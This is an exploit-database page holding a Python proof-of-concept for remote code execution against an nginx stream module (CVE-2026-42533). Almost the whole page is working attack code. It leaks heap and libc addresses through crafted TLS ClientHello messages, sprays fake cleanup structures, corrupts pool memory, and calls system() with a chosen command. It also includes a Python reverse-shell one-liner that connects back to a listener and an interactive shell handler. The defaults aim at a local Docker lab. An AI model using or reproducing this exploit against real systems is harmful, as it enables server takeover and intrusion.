Exploit database

GH-ea78ef844e59328b2374b142b7bb01dd

0xh3y3/cve-2026-42533

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-42533

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
0xh3y3/cve-2026-42533Revision 37f1ceee0769

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

stream-rift/poc.py

Suggested starting filePython · 15,630 bytes
#!/usr/bin/env python3
import argparse
import os
import select
import shlex
import socket
import struct
import subprocess
import sys
import time
from pathlib import Path


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 29443
DEFAULT_LISTEN_IP = "172.17.0.1"
LOCAL_LAB_SERVICE = "nginx-rce"

BODY_LEN = 0x800
SPRAY_BODY_LEN = 4096
VICTIMS = 4
HOLDERS = 12
SYSTEM_OFF = 0x50D70
DEST_OFF = 0x153E8

CAPTURES_OFF = 0xD60
SESSION_OFF = 0x168E0
CTX_OFF = 0x15350
CONNECTION_OFF = 0x2AA70
MAIN_CONF_ARRAY_OFF = 0x1C840
CORE_MAIN_CONF_OFF = 0x1C970
SRV_CONF_ARRAY_OFF = 0x27BC0
VAR_STORE_OFF = 0x17E50
VAR_TEXT_OFF = 0x17F40
CYCLE_OFF = 0x1A4A0
NGX_CYCLE_LOG_OFF = 0x10
NGX_CYCLE_FILES_OFF = 0x70
FAKE_LOG_OFF = 0x1B000
VICTIM_POOL_OFFSETS = [0x15500]

FAKE_CLEANUP_OFFSETS = [
    0x19293,
    0x15903,
    0x177E3,
    0x30F53,
    0x31363,
    0x198D3,
    0x19EF3,
    0x22703,
    0x22D23,
    0x181163,
    0x1847B3,
    0x187E03,
]

LIBC_ANCHORS = {
    (192, 0x6): 0x21AE50,
    (200, 0x6): 0x21AE60,
    (220, 0x6): 0x21ACE0,
    (512, 0x6): 0x21ACE0,
    (1024, 0x51): SYSTEM_OFF,
    (1800, 0x6): 0x21B3F0,
    (4096, 0x6): 0x21B370,
}

HEAP_ANCHORS = {
    (128, 0x6): (0x15780, 0x16060),
    (128, 0x1E): (FAKE_CLEANUP_OFFSETS[-1],),
    (128, 0x26): (FAKE_LOG_OFF,),
    (128, 0x2E): (CTX_OFF,),
    (128, 0x36): (MAIN_CONF_ARRAY_OFF,),
    (128, 0x3E): (SRV_CONF_ARRAY_OFF,),
    (128, 0x5E): (VAR_STORE_OFF,),
    (192, 0x6): (0x18750,),
    (192, 0xE): (0x15500, 0x143F0),
    (192, 0x26): (0x474A0,),
    (192, 0x4E): (0x14410,),
    (192, 0x56): (MAIN_CONF_ARRAY_OFF,),
    (192, 0x5E): (SRV_CONF_ARRAY_OFF,),
    (192, 0x7E): (0x18820,),
    (200, 0xE): (0x18FC0,),
    (200, 0x1E): (0x1784C,),
    (200, 0x26): (0x15780,),
    (200, 0x9E): (0x15440,),
    (200, 0xA6): (0x15610,),
    (220, 0x6): (0x16F90,),
    (220, 0x16): (0x16430,),
    (220, 0x1E): (0x164B0,),
    (220, 0x26): (0x19830,),
    (220, 0x2E): (0x16EE0,),
    (220, 0x3E): (0x2FEE0,),
    (220, 0x46): (0x1E450,),
    (220, 0x66): (0x170B0,),
    (220, 0x7E): (0x18670,),
    (220, 0x86): (0x18850, 0x23140),
    (220, 0xAE): (0x16EE0,),
    (220, 0xB6): (0x17C70,),
    (220, 0xCE): (0x147C0,),
    (512, 0x26): (0x1760,),
    (512, 0x36): (0x18D0,),
    (512, 0x46): (0x17C0,),
    (512, 0x66): (0x1A7C0,),
    (512, 0x86): (0x1868,),
    (1024, 0xE): (0x19660,),
    (1024, 0x16): (0x19660,),
    (1024, 0x59): (0x177FB,),
    (1024, 0x99): (0x1783B,),
    (1024, 0xD9): (0x1787B,),
    (1024, 0x119): (0x178BB,),
    (1024, 0x159): (0x178FB,),
    (1800, 0xE): (0x1E450, 0x203A0),
    (1800, 0x16): (0x1E450, 0x203A0),
    (1800, 0xCE): (0x21480,),
    (1800, 0xD6): (0x21480,),
    (1800, 0xDE): (0x21490,),
    (1800, 0xF6): (0x20480,),
    (1800, 0xFE): (0x22000,),
    (4096, 0x6): (0x18750,),
    (4096, 0xE): (0x21480,),
    (4096, 0x16): (0x21480,),
    (4096, 0xFDE): (0x13BB0,),
    (4096, 0xFE6): (0x2E6D0,),
}

LEAK_LENGTHS = sorted({128, *[n for n, _ in LIBC_ANCHORS], *[n for n, _ in HEAP_ANCHORS]})
DOCKER_GATEWAY_SCRIPT = (
    "import socket,struct;"
    "routes=open('/proc/net/route').read().splitlines()[1:];"
    "gateways=[r.split()[2] for r in routes if r.split()[1]=='00000000'];"
    "print(socket.inet_ntoa(struct.pack('<L', int(gateways[0], 16))))"
)


def client_hello(sni: bytes) -> bytes:
    ext = (
        b"\x00\x00"
        + (5 + len(sni)).to_bytes(2, "big")
        + (3 + len(sni)).to_bytes(2, "big")
        + b"\x00"
        + len(sni).to_bytes(2, "big")
        + sni
    )
    body = (
        b"\x03\x03"
        + b"A" * 32
        + b"\x00"
        + b"\x00\x02\x13\x01"
        + b"\x01\x00"
        + len(ext).to_bytes(2, "big")
        + ext
    )
    hs = b"\x01" + len(body).to_bytes(3, "big") + body
    return b"\x16\x03\x01" + len(hs).to_bytes(2, "big") + hs


def recv_all(sock: socket.socket, timeout: float = 0.5) -> bytes:
    sock.settimeout(timeout)
    out = []
    while True:
        try:
            chunk = sock.recv(65536)
        except (ConnectionResetError, socket.timeout):
            break
        if not chunk:
            break
        out.append(chunk)
    return b"".join(out)


def leak_once(host: str, port: int, n: int) -> bytes:
    with socket.create_connection((host, port), timeout=3) as sock:
        sock.sendall(client_hello(b"L2" + b"a" * (n - 2)))
        data = recv_all(sock)
    return data[2:] if data.startswith(b"Lx") else data


def leak_addresses(host: str, port: int) -> tuple[int, int, int]:
    leaks = {n: leak_once(host, port, n) for n in LEAK_LENGTHS}

    heap_votes: dict[int, int] = {}
    for n, data in leaks.items():
        for (anchor_len, off), anchors in HEAP_ANCHORS.items():
            if anchor_len != n or off > len(data) - 8:
                continue
            ptr = struct.unpack_from("<Q", data, off)[0]
            for anchor in anchors:
                base = ptr - anchor
                if 0x550000000000 <= base < 0x700000000000 and base & 0xFFF == 0:
                    heap_votes[base] = heap_votes.get(base, 0) + 1
    if not heap_votes:
        raise RuntimeError("heap_ptr=not-found")

    libc_votes: dict[int, int] = {}
    for n, data in leaks.items():
        for off in range(max(0, len(data) - 7)):
            ptr = struct.unpack_from("<Q", data, off)[0]
            anchor = LIBC_ANCHORS.get((n, off))
            if anchor is None:
                if ptr & 0xFFF != (SYSTEM_OFF & 0xFFF):
                    continue
                anchor = SYSTEM_OFF
            base = ptr - anchor
            if 0x700000000000 <= base < 0x800000000000 and base & 0xFFF == 0:
                libc_votes[base] = libc_votes.get(base, 0) + 1
    if not libc_votes:
        raise RuntimeError("libc_ptr=not-found")

    heap = max(heap_votes.items(), key=lambda x: (x[1], -x[0]))[0]
    libc = max(libc_votes.items(), key=lambda x: (x[1], -x[0]))[0]
    return heap, libc, libc + SYSTEM_OFF


def print_addresses(heap: int, libc: int, system: int) -> None:
    print(f"heap_base=0x{heap:x}")
    print(f"libc_base=0x{libc:x}")
    print(f"system=0x{system:x}")


def make_fake_cleanup_body(system: int, fake_addr: int, cmd: str) -> bytes:
    cmd_bytes = cmd.encode() + b"\x00"
    block = max(0x40, ((24 + len(cmd_bytes) + 0x1F) // 0x20) * 0x20)
    if block > SPRAY_BODY_LEN:
        raise ValueError("command is too long")

    body = bytearray(b"S" * SPRAY_BODY_LEN)
    for off in range(0, SPRAY_BODY_LEN - block + 1, block):
        struct.pack_into("<QQQ", body, off, system, fake_addr + off + 24, 0)
        body[off + 24 : off + 24 + len(cmd_bytes)] = cmd_bytes
    return bytes(body)


def spray_fake_cleanups(host: str, port: int, heap: int, system: int, cmd: str) -> list[socket.socket]:
    holders = []
    for off in FAKE_CLEANUP_OFFSETS[:HOLDERS]:
        body = make_fake_cleanup_body(system, heap + off, cmd)
        req = (
            b"POST /spray HTTP/1.1\r\n"
            b"Host: spray\r\n"
            b"Content-Length: " + str(len(body)).encode() + b"\r\n"
            b"Connection: keep-alive\r\n"
            b"\r\n"
            + body
        )
        sock = socket.create_connection((host, port), timeout=3)
        sock.sendall(req)
        holders.append(sock)
        time.sleep(0.003)
    return holders


def build_payload(heap: int) -> bytes:
    dest = heap + DEST_OFF
    payload = bytearray(b"A" * BODY_LEN)
    fake = heap + FAKE_CLEANUP_OFFSETS[0]

    def off(addr: int) -> int:
        return addr - dest

    def put_q(addr: int, value: int) -> None:
        pos = off(addr)
        if 0 <= pos <= BODY_LEN - 8:
            struct.pack_into("<Q", payload, pos, value)

    def put_region(addr: int, size: int) -> None:
        pos = off(addr)
        if 0 <= pos < BODY_LEN:
            payload[pos : min(BODY_LEN, pos + size)] = b"\x00" * min(size, BODY_LEN - pos)

    session = bytearray(0x90)
    struct.pack_into("<I", session, 0x00, 0x4D525453)
    struct.pack_into("<Q", session, 0x08, heap + CONNECTION_OFF)
    struct.pack_into("<Q", session, 0x30, heap + CTX_OFF)
    struct.pack_into("<Q", session, 0x38, heap + MAIN_CONF_ARRAY_OFF)
    struct.pack_into("<Q", session, 0x40, heap + SRV_CONF_ARRAY_OFF)
    struct.pack_into("<Q", session, 0x60, heap + VAR_STORE_OFF)
    struct.pack_into("<Q", session, 0x80, 3)
    pos = off(heap + SESSION_OFF)
    if 0 <= pos <= BODY_LEN - len(session):
        payload[pos : pos + len(session)] = session

    pos = off(heap + MAIN_CONF_ARRAY_OFF)
    if 0 <= pos <= BODY_LEN - 0x100:
        for i in range(0, 0x100, 8):
            struct.pack_into("<Q", payload, pos + i, heap + CORE_MAIN_CONF_OFF)

    put_region(heap + CORE_MAIN_CONF_OFF, 0x300)
    pos = off(heap + CORE_MAIN_CONF_OFF)
    if 0 <= pos <= BODY_LEN - 0x60:
        struct.pack_into("<Q", payload, pos + 0x40, heap + CORE_MAIN_CONF_OFF + 0x200)
        struct.pack_into("<Q", payload, pos + 0x48, 16)
        struct.pack_into("<Q", payload, pos + 0x50, 56)
        struct.pack_into("<Q", payload, pos + 0x58, 16)

    put_region(heap + VAR_STORE_OFF, 0x100)
    pos = off(heap + VAR_TEXT_OFF)
    if 0 <= pos < BODY_LEN:
        payload[pos] = ord("x")
    pos = off(heap + VAR_STORE_OFF) + 16
    if 0 <= pos <= BODY_LEN - 16:
        struct.pack_into("<IIQ", payload, pos, 0x10000001, 0, heap + VAR_TEXT_OFF)

    for pool_off in VICTIM_POOL_OFFSETS:
        pool = heap + pool_off
        put_q(pool - 0x10, 0)
        put_q(pool - 0x08, 0x111)
        put_q(pool + 0x100, 0x110)
        put_q(pool + 0x108, 0x111)
        header = struct.pack(
            "<QQQQQQQQQQ",
            pool + 0x80,
            pool + 0x100,
            0,
            0,
            0xB0,
            pool,
            0,
            0,
            fake,
            heap + FAKE_LOG_OFF,
        )
        pos = off(pool)
        if 0 <= pos <= BODY_LEN - len(header):
            payload[pos : pos + len(header)] = header

    put_region(heap + FAKE_LOG_OFF, 0x80)
    put_q(heap + CYCLE_OFF + NGX_CYCLE_LOG_OFF, heap + FAKE_LOG_OFF)
    put_q(heap + CYCLE_OFF + NGX_CYCLE_FILES_OFF, 0)
    return bytes(payload)


def reverse_shell_command(listen_ip: str, listen_port: int) -> str:
    code = (
        "import os,pty,socket;"
        f"s=socket.socket();s.connect(({listen_ip!r},{listen_port}));"
        "[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
        "pty.spawn('/bin/sh')"
    )
    return "python3 -c " + shlex.quote(code)


def close_sockets(sockets: list[socket.socket]) -> None:
    for sock in sockets:
        try:
            sock.close()
        except OSError:
            pass


def detect_lab_gateway_ip() -> str | None:
    compose = Path(__file__).resolve().parent / "env" / "docker-compose.yml"
    if not compose.exists():
        return None

    try:
        result = subprocess.run(
            [
                "docker",
                "compose",
                "-f",
                str(compose),
                "exec",
                "-T",
                LOCAL_LAB_SERVICE,
                "python3",
                "-c",
                DOCKER_GATEWAY_SCRIPT,
            ],
            check=True,
            capture_output=True,
            text=True,
            timeout=5,
        )
    except (FileNotFoundError, subprocess.SubprocessError):
        return None

    gateway = result.stdout.strip()
    return gateway or None


def default_listen_ip() -> str:
    return detect_lab_gateway_ip() or DEFAULT_LISTEN_IP


def open_shell_listener(port: int) -> socket.socket:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", port))
    srv.listen(1)
    print(f"[*] Listening for reverse shell on port {port}...")
    return srv


def interact_shell(srv: socket.socket) -> None:
    conn, addr = srv.accept()
    print(f"[+] reverse shell from {addr[0]}:{addr[1]}")
    conn.setblocking(False)
    with srv, conn:
        while True:
            readable, _, _ = select.select([conn, sys.stdin], [], [])
            if conn in readable:
                data = conn.recv(4096)
                if not data:
                    return
                os.write(sys.stdout.fileno(), data)
            if sys.stdin in readable:
                data = os.read(sys.stdin.fileno(), 4096)
                if not data:
                    return
                conn.sendall(data)


def exploit(host: str, port: int, cmd: str) -> int:
    hold_port = port + 1
    leak_port = port + 2
    heap, libc, system = leak_addresses(host, leak_port)
    print_addresses(heap, libc, system)

    hello = client_hello(b"A" * BODY_LEN)
    sni_start = len(hello) - BODY_LEN
    attacker: socket.socket | None = None
    victims = []
    holders = []
    triggered = False

    try:
        try:
            attacker = socket.create_connection((host, port), timeout=3)
            attacker.sendall(hello[:sni_start])
            time.sleep(0.05)

            for _ in range(VICTIMS):
                sock = socket.create_connection((host, port), timeout=3)
                victims.append(sock)
                time.sleep(0.01)

            holders = spray_fake_cleanups(host, hold_port, heap, system, f"({cmd}); kill -9 $PPID")
            time.sleep(0.5)
            attacker.sendall(build_payload(heap))
            triggered = True
            time.sleep(0.05)
        finally:
            if attacker is not None:
                close_sockets([attacker])
            close_sockets(victims)

        if triggered:
            time.sleep(2.0)
        return 0
    finally:
        close_sockets(holders)


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="nginx rift stream RCE")
    parser.add_argument("--host", default=DEFAULT_HOST, help="target host")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="target vulnerable stream port")
    parser.add_argument("--cmd", help="shell command to execute via system()")
    parser.add_argument("--shell", action="store_true", help="execute a reverse shell")
    parser.add_argument("--listen-port", type=int, default=1337, help="reverse shell listener port")
    parser.add_argument(
        "--listen-ip",
        help=f"reverse shell connect-back IP (default: auto-detect Docker gateway, fallback: {DEFAULT_LISTEN_IP})",
    )
    parser.add_argument("--leak", action="store_true", help="print heap, libc, and system addresses")
    args = parser.parse_args()

    if not args.cmd and not args.shell and not args.leak:
        parser.error("either --cmd, --shell, or --leak must be specified")
    if args.cmd and args.shell:
        parser.error("cannot specify both --cmd and --shell")

    return args


def run_shell_mode(args: argparse.Namespace) -> int:
    listen_ip = args.listen_ip or default_listen_ip()
    listener = open_shell_listener(args.listen_port)
    print(f"[*] Using reverse shell connect-back IP {listen_ip}")

    try:
        cmd = reverse_shell_command(listen_ip, args.listen_port)
        print(f"[*] Generated reverse shell command: {cmd}")
        rc = exploit(args.host, args.port, cmd)
        if rc == 0:
            interact_shell(listener)
            listener = None
        return rc
    finally:
        if listener is not None:
            listener.close()


def main() -> int:
    args = parse_args()

    if args.leak:
        heap, libc, system = leak_addresses(args.host, args.port + 2)
        print_addresses(heap, libc, system)
        return 0

    if args.shell:
        return run_shell_mode(args)

    return exploit(args.host, args.port, args.cmd)


if __name__ == "__main__":
    sys.exit(main())